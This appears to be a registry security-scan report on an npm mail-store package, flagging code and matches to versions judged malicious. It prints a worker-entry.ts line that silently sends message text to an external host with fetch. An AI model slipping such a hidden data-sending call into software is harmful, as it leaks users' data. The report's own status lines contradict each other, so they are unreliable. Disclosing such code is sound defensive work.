registry / @bobfrankston/mailx-store-web / 0.1.88

@bobfrankston/mailx-store-web@0.1.88

⚠ Under review

Static Scan Results

scanned 1mo ago · by rust-scanner

Static analysis completed at 0.0% confidence. No malicious behavior was detected; 8 low-signal pattern(s) were surfaced and cleared.

Static reason

Automated AI review exhausted its retry budget. This package remains unresolved and must not warn or block users.

Decision evidence

public snapshot

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 30 file(s), 811 KB of source, external domains: accounts.google.com, gmail.googleapis.com, mail.google.com, oauth2.googleapis.com, people.googleapis.com, rmf39.aaz.lt, sql.js.org, www.googleapis.com, www.w3.org

Source & flagged code

3 flagged

worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

20// ── Globals ──

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

27const post = (msg: any) => (self as any).postMessage(msg);

29// ── Event emission → main thread ──

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

40}

42// ── Native bridge proxy ──

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.120 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.120 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e1734c4f68f337b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.90 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.90 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

Source & flagged code

3 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

worker-bundle.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•

Findings

1 Critical2 High2 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationworker-entry.ts

HighKnown Malware Source Similarityworker-bundle.js

HighKnown Malware Source Fingerprint Signatureworker-bundle.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to @bobfrankston/mailx-store-web@0.1.88.

See all versions of @bobfrankston/mailx-store-web for other recorded verdicts.

Review the evidence and your use of @bobfrankston/mailx-store-web@0.1.88 before allowing it. Restrict the permissions described in this report.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.

Evidence last updated: 2026-09-19 05:44:47.245Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Static Scan Results

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

More from @bobfrankston

Related packages

More from @bobfrankston

Source & flagged code